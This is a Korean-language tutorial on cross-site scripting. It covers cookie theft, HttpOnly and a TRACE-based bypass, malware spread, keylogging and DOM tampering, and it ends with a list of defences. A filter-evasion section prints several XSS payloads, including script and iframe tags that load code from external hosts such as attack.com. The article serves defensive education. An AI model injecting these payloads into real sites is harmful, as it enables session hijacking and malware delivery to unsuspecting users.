XSS(Cross Site Scripting) 1. XSS 란무엇인가 XSS 란 Cross Site Scripting 의약자 (CSS 라고도불리기도하나 Cascading Style Sheets 와혼용되어일반적으로 XSS 를많이사용한다.) 로 Web 보안취약점중하나이다. 이러한 XSS 는인터넷이생겨나고활성화되기전, 홈페이지소개및단지정보를제공하는정적인페이지에서인터넷이활성화된현재, 게시판에글을쓰고메일을작성하는등사용자가개입하여동적으로생성되는페이지로바뀌어가면서 XSS 취약점은나타나기시작했다. Web 이발전함에따라 XSS 또한지능화되고있으며, 현재도, 앞으로도가장위협적인 Web 취약점이될것이다. 이취약점이위협적인이유는공격기법자체가 HTML 과 Script 를사용하여쉽게공격코드를제작할수있다는것과, 이렇게제작된간단한공격코드를대부분의홈페이지에손쉽게올릴수있다는것이다. XSS 가실행되는원리를살펴보면악의적인사용자가생성한페이지또는동적으로생성되는웹페이지에악의적인 HTML 태그나스크립트를포함시킬수있다. XSS 는웹어플리케이션에클라이언트로부터데이터가요청 / 응답을통해받아진데이터 ( 악의적인 HTML 이나스크립트 ) 를웹브라우저가해석하게되고, 이렇게해석된데이터를통해공격자가원하는형태대로스크립트실행이가능하게된다. 이러한공격에사용되는대상스크립트나언어는 JavaScript, VBScript, ActiveX, HTML, Flash 등이있다. 2. 다양한공격형태. - Cookie Sniffing 기법 Cookie 란? 사용자인증측면에서만봤을때사용자의인증데이터를가지고있는값이다. 이는클라이언트에저장되며, 파기되기전까지는서버에데이터를요청할때항상서버로보내어진다. 인증프로세스를살펴보면특정웹사이트에서아이디패스워드를입력하게되면서버는 id=guest 형태의데이터를쿠키를통해전송해준다. 이데이터는서버에정보를요청할때마다전송되어지기때문에, 한번의로그인으로인해계속사이트를로그인한상태로서핑할수있게된다. 위의경우 id=guest 라는값을클라이언트즉브라우저가저장하고있기때문에공격자에의해조작될수가있다. id=admin 이라는값으로공격자가조작하여서버로전송하게된다면, 서버는 guest 사용자가아닌 admin 이라는사용자로인식을하여, 동작하게될것이다. 이를방어하기위해웹서버는 Session 을사용하게된다. Session 은기존공격의문제점인쿠키값변조를막기위해, 쿠키에사용자정보를바로전송하지않고서버에사용자정보를저장해두고그저장해둔데이터를찾을수있는 Key 값을 Cookie 로전송하게된다. 즉, 서버에남기때문에데이터조작이불가능하고, 사용자를신뢰할수있다. 이러한방어기법을무력화 (?) 하기위해공격자는 XSS 를사용하여, Cookie 값을훔쳐내고, 훔쳐낸데이터 ( 세션키 ) 를이용하여, 다른사용자로로그인할수있다. 그럼어떠한형태로 Cookie Sniffing 이가능하며, 어떻게활용되는지알아보도록한다.
그림 1. XSS 를통한 Cookie Sniffing 1. 공격자는악성스크립트 (Cookie 훔치는 ) 를정상적인웹서비스를하고있는홈페이지에올려놓는다.( 게시판이나, 메일, 블로그등 ) 2. 일반사용자는아무것도모른상황에서게시물을보거나메일을확인하거나, 블로그에접속한다. 3. 일반사용자는자신도모르게공격자가올려놓은악성스크립트를자동으로실행하게되고, 자신의 Cookie( 인증정보가들어있는 ) 값을공격자에게전송하게된다. 4. 공격자는사용자의 Cookie 값을이용하여, 일반사용자인척속인후, 개인정보를유출하거나, 데이터를훔치거나, 삭제, 변조등다양한공격을한다. 이러한 Cookie 를훔치는행위를방지하기위해 MicroSoft 에서보안대책으로 HttpOnly Cookie 를 Internet Explorer 6 에포함했다. HttpOnly 는 Cookie 에새로운속성을부여한것으로, 이름에서볼수있듯이 http 에서만사용할수있는쿠키이다. 즉 HttpOnly 속성을가지는 Cookie 는 Client Side Script 에서 (javascript, vbscript 등 ) 컨트롤할수없다. 이러한 HttpOnly 는파이어폭스브라우저에서도모듈로따로지원하고있다. Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] 그림 2 HttpOnly 가추가된 Cookie 위의그림 2 에서보는바와같이쿠키의속성에 HttpOnly 옵션이추가되었으며, 이옵션을사용하여생성된쿠키는스크립트등에서접근할수가없다.
그림 3 HttoOnly 테스트화면 그림 3 에서보는바와같이 HttpOnly 속성을가진쿠키는접근이불가능함을알수있다. 웹페이지에서접근이필요없는쿠키는꼭 HttpOnly 속성을부여하여웹페이지의보안강도를높이도록하자. 하지만이렇게쿠키에접근이불가능하게되자, 공격자들은다른우회방법을통해쿠키에접근하려고시도를했다. 그공격기법이 XST(Cross Site Tracing) 공격이다 XST 공격은웹서버가 TRACE Method 를지원한다면가능하다. TRACE Method 는에코메커니즘형태로 TRACE Method 를전송했을때, 전송된값이그대로다시되돌아오는 Method 다. 그림 4 TRACE Method 그림 4 는 TRACE Method 를통해전송된데이터가다시그대로보여지는걸확인할수있다. 그럼이를통해어떻게 Cookie 를가져올수있을지알아보도록하자.
그림 5 XST 공격테스트코드 그림 6 XST 공격화면 위와같이간단하게 TRACE Method 를이용한공격을활용하여 HttpOnly 속성을우회하여쿠키정보를뽑아올수있다. 하지만최근에 MS 보안업데이트를하면서 TRACE Method 를사용하지못하도록설정하였다. 즉보안업데이트만꾸준히한사용자는 XST 공격을피해갈수있을것이다. - 악성코드유포최근공격의형태가서버를공격하는형태에서개인사용자를공격하는형태로, 단순한호기심에서금전적이득을위한수단으로형태가바뀌면서, 일반사용자를공격하는형태가많이늘어나고있다. 일반사용자의컴퓨터를해킹하여, 악성코드를심는다거나, 악성 ActiveX 를정상 ActiveX 인것처럼속여설치하게만든다거나하여, 일반사용자를공격하게된다. 사람들이많이찾는포털사이트카페나, 블로그를통해 ActiveX 를설치하게하는피해사례도많이있었으며, 또한중국해커들은 ActiveX 취약점을이용하여공격코드를일반게시판에올리기도하고, SQLl Injection 공격을통해사이트에공격코드를심는다거나, 사이트를해킹하여메인페이지에공격코드를심는사례가많이늘어나고있다.
그림 7 ActiveX 공격과 ActiveX 설치 위그림처럼악성코드를설치하여, 사용자가페이지를열어보게한후, 페이지를열어봄과동시에공격자의서버에있는공격프로그램을실행하게된다. 이로인해일반사용자는자신도모르게악성코드에감염되어, 다른사용자를공격하거나, 게임핵같은악성프로그램에의해개인정보등이유출되거나한다. - 스크립트암호화및우회이러한 XSS 공격으로인해많은피해가있었고, 이루어지기때문에포탈이나기타큰홈페이지, 메일서비스를하는업체에서는 Script 를필터링하고있다. XSS 를막기위해 HTML 등을사용하지못하게하면, 사용자에게제공되는서비스가대폭축소되기때문에완전히차단을하지못한채, 단지문자열을필터링함으로서 XSS 공격에대처하고있다. 하지만이러한차단은공격자들에의해쉽게우회가되기때문에 XSS 공격에대한방안으로볼수가없다. 그렇다면어떠한형태로우회가되는지알아보도록하자. <IMG SRC='javascript:alert("XSS")'> 이와같이그림을입력하는태그에자바스크립트를입력함으로써우회가가능하다. 이러한공격이필터링되어있을경우에는 <IMG SRC='vbscript:msgbox("XSS")'> vbscript 를사용하여우회할수도있다. 위와같은우회방법말고도다양한우회방법이존재한다. 간단히살펴보도록하자. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascr ;ipt:ale&# 114;t('XSS' 1;> <IMG 개행문자를사용하여필터링우회 대소문자를섞어필터링우회유니코드인코딩기법을사용하여필터링을우회하는행위 HEX 인코딩을사용하여필터링을
SRC=javascr& #x69pt:aler& #x74('XSS')> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC="jav ascript:alert('xss');"> <iframe src=http://attack.com/script.html </iframe> ¼script¾alert( XSS )¼/script¾ 우회하는행위 띄어쓰기를통해필터링우회 HEX 인코딩을중간에껴넣어우회하는행위. IFrame 태그를사용하여외부에있는페이지를읽어들이는행위 US-ASCII 인코딩기법을사용하여필터링을우회하는행위 간단히몇가지만을정리하여알아보았다. 이외에도수많은인코딩방법들이존재한다. 또한국내에서가장많이사용되는 Internet Explorer 브라우저가표준을지키지않아허용되는 XSS 또한심각한수준이다. 또한이러한필터링을우회하기위해 Flash 의 Action Script 에 XSS 코드를삽입하여공격하는경우도많다. 이러한형태는아주쉽게필터링을우회할수있으며, 공격또한쉽다. 이렇듯필터링을우회하여악성코드를삽입해사이트에서악성코드가유포된다면, 많은정상사용자들이피해를입을것이다.@
- 그외다양한공격형태 XSS 공격은이러한공격외에도다양한방식으로공격되고있다. 어떠한형태로공격되고있는지간략하게살펴보면다음과같다. Key Logger 웹페이지안에키보드이벤트를받아입력된키값을공격자의컴퓨터로계속전송하여홈페이지에서입력되는모든키를가로채는행위를한다. 이는아이디나패스워드를입력할때도적용이되며, 이로인해아이디 / 패스워드, 게시물작성내용, 웹페이지활동내역등다양한정보를가로챌수있으므로특히나주의해야한다. Mouse Sniffer Key Logger 등을막기위해은행권에서마우스를통해특정번호를입력하는방식을취하고있다. 이러한방어기법을우회하기위해공격자는마우스의위치를추적하여, 어떠한키가눌러졌는지체크하여공격자의서버로정보를넘기는공격이다. 즉마우스클릭시의 X,Y 좌표를공격자에게넘겨줌으로써, 일반사용자가어떠한키를마우스를통해눌렀는지알수가있다. 거짓정보추가하기공격자는사용자가보여지는페이지를페이지상에서수정하여보여줄수가있다. 공격자는 DOM 트리에서어떠한정보라도수정할수가있다. 예를들어 id/password 를인증하기위한페이지를공격자의페이지로바꿀수있으며, 현재보여지고있는페이지전체를레이어를통해공격자가원하는페이지로완전히다바꿔버릴수도있다. 예를들어은행권과같은금융관련사이트이거나, 개인정보페이지일수도있으니특별히주의해야한다. 데이터변조및삭제, 생성메일서비스나기타서비스를받고있을때, XSS 공격으로인해게시물이나메일과같은데이터를자신도모르게삭제될수있다. 이는공격자가메일이나게시물을읽을때글을삭제하는스크립트를넣어두고, 사용자나관리자가읽게만들어데이터를삭제하는방법으로사용된다. 또한이를사용하여데이터를변조할수도있다. 또한관리자계정이나일반사용자계정을추가할수있으므로각별히유의해야한다.
- XSS 보안 Html 은굉장히많은 TAG 를가지고있으며, 그 TAG 의속성도다양하기때문에실제서비스를제공하면서 TAG 를막기란여간쉬운일이아니다. 그렇다고손놓고지켜볼수도없는노릇이다. 최대한피해를줄이기위해어떻게해야하는지알아보도록하자. 1. 게시판이나메일기타등등에서 HTML 이사용이필요치않을경우에는 HTML 을허용하지않아야한다. 2. HTML 을허용해야할경우에는꼭필요한태그만을허용해야한다. ( 불필요한태그만을필터링하는것은손쉽게우회가가능하다.) 3. 태그의속성, 이벤트를꼭확인하여그에대해적절히대응해야한다. 4. HttpOnly 속성을적극잘활용해야한다. 5. Login 처리시 IP 와 Session 을하나로묶어 A 라는 Session 은 B 라는 IP 에서만사용이가능하게한다. 6. 가급적사이트에서 HTML 표준을따른다. 7. 개인정보를열람하거나수정할경우꼭다시한번인증절차를거치게한다. 8. 주기적으로취약성체크툴을사용하여검증절차를거친다. 9. 코드를동적으로생성하고실행하는것을자제해야한다. 가장잘알려진함수중하나가 eval() 함수인데, 이것은임의의스트링을자바스크립트코드로실행할수있다. 10. 브라우저단에서 XSS 를막아주거나, 자바스크립트를제한해주는보안툴을사용한다.